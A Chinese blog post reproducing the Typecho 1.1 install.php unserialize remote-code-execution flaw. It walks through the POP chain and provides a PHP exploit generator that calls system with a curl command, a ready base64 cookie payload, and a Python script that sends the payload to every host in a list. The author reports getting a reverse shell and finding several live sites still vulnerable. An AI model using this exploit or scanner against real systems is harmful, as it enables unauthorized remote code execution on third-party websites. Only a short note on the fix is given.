前言
之前学了一段时间的反序列化漏洞,一直没有来得及找个例子复现。这几天期末答辩结束了,正式开始放暑假,很兴奋,于是找了个typecho1.1的RCE漏洞来复现,正好是反序列化漏洞触发的。一方面打发一下空闲时间,挖了一天漏洞了真的不想挖了(挖的赏金累死累活没超过1k,很自闭),另一方面丰富一下博客吧,顺便让自己对反序列化的理解加深。
漏洞点
漏洞利用的条件是install.php这个typecho的安装文件没有被删除,因为这里有唯一可用可控的反序列化点。所以先去看看他的写法。
这里通过类typecho_cookie中的get方法,进而base64解码后进行反序列化,我们跟进这个get方法。
分析:
$key变量的值是typecho数据表前缀+$key变量的值,而这个$key值是__typecho_config。第一个三目运算是给$value赋值,言简意赅的讲从cookie里取参数为"$key"的值,如果cookie里没有我就去post里找,找不到就是NULL。然后返回值$value是个数组,就为NULL,不是就为$value的值。
显然,这里的$value是可控的,利用方法就是,构造一个序列化的exp,然后进行base64编码,然后放入cookie中。当反序列化后,他能够通过一条pop链走向RCE或者是文件读取的操作就可以利用了。
所以只要构造一条POP链就行了。
构造POP链
利用点往下,new了一个db类的对象。首先得寻找一个无条件的魔法函数,但是全局搜索后代码里并没有可以利用的__destruct方法,也不存在wakeup方法。
db类中存在__construct方法,注意这里的:
这里进行了字符拼接操作,可以触发tostring方法,然后就是找tostring方法了,在feed.php可以发现
然后发现
这里的$item['author']是一个对象,如果这个对象里面没有screenName这个属性,那么就可以触发get方法,继续全局搜索get方法。
这里调用了get函数,看一下代码呗
最后还有个applyfilter方法,继续跟进
分析:
get方法里,判断是否存在_params[$key] 如果存在就复制 $value为 $this->_params[$key];
然后判断$value的值是否是数组和长度是否大于0 ,如果不是数组并且大于0,返回值就是$value
_applyFilter()方法里,存在两个可以直接执行方法的函数,即使他是三目运算,并不影响他们都是可以执行命令的函数
首先判断是否存在 $this->_filter,然后做foreach()循环,也就是说 $this->_filter要是一个数组,然后接着判断$value是否是数组,但是在前面的get方法里判断了 $value 不是数组,所以这里进入的是 call_user_func()
这个函数的用法就是 call_user_func('函数名','参数'),如果执行call_user_func('phpinfo','1') 就会执行phpinfo() ,因为phpinfo()是不用参数的,所以那个1不需要管,如果执行有参数的例如
call_user_func('assert','file_put_contents("test.txt","Hello World")')
这样就会执行文件的写入,也就是可以写入webshell。
找到一条可用的链子后,先理一下思路
首先让,install.php绕过各种限制
在db类进行拼接导致对象被当作字符串使用,执行对象的__toString方法
所利用__toString方法的类为 Typecho_Feed,继续要构造一个class为Typecho_Feed
调用了不存在的属性值,执行__get方法 ,__get()方法在对象 Typecho_Request 里继续构造一个 class Typecho_Request
exp:
<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'content' => '1', 'link' => '1', 'date' => 1540996608, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'curl XXXX'; $this->_filter[0] = 'system'; } } $depy= array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($depy)); ?>
流程
构造完后会有一段base64代码,放在install.php绕过限制之后,首先会被解码反序列化
最终的$config会变成一个数组,其adapter会变成对象typecho_feed,prefix会变成typecho_,然后往下会新建对象db
将两个数组值传入,此时的adapter已经是一个对象了,之后会触发db类中的construct方法
执行类feed的tostring,以此类推,tostring执行后,那里会去获取item[author]的screenname
但是这里已经把item[author]赋值为对象request了!但是他哪里来的screenname属性啊?
所以因此会触发__get方法,并且此时的$key为screenname,同时我们赋值了_param['screenname']为system
到这里,因为$key=sreenname,往下走第一个判断,isset成立,所以$value=_param['screenname']=system,然后把system传入applyfilter方法中。
然后$value=system,filter=$_filter[]里按照数组顺序打印执行,我只设置了一个数组成员是curl XXXXX,所以$filter的值最终为curl XXXXX。然后两个进入call_user_function('system','curl XXXXX'),进而执行命令system("curl XXXXX"),造成RCE。
漏洞利用
生成payload:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
按照上图发包 设置refer finish 因为如下限制
上图测试的是phpinfo,当然了,也可以发包后反弹shell
对照ip
成功让阿里云的靶机弹到了腾讯云的机子上(笑)
漏洞修复
删除install.php
官方删除了反序列化那边的db实例对象,并且在安装成功后加入了数据库的安装判断,就不能轻易通过finish参数绕过了
脚本
import requests headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"} with open('typecho.txt', 'r') as f: for line in f: line = line.strip('\n') url = 'http://' + line try: response= requests.get(url, headers=headers, timeout=2).status_code if response== 200: t = url+"/install.php?finish=123" response=requests.get(t,headers={"Referer":t,"Cookie":"__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9"}) if ("phpinfo" in response.text): print('打得开:'+url+"存在漏洞") else: print('打得开:'+url+"不存在漏洞") with open('1.txt', 'a+') as f1: error = f1.write(line+'\n') else: print("打不开"+url) except Exception as e: print("访问异常"+url)
效果
下面是效果图,由于这个漏洞确实有点时间了,18年末就有了,所以最终只找到了五六个站还存在。
不出所料,都已经变成什么亚博体育之类的BC网站了。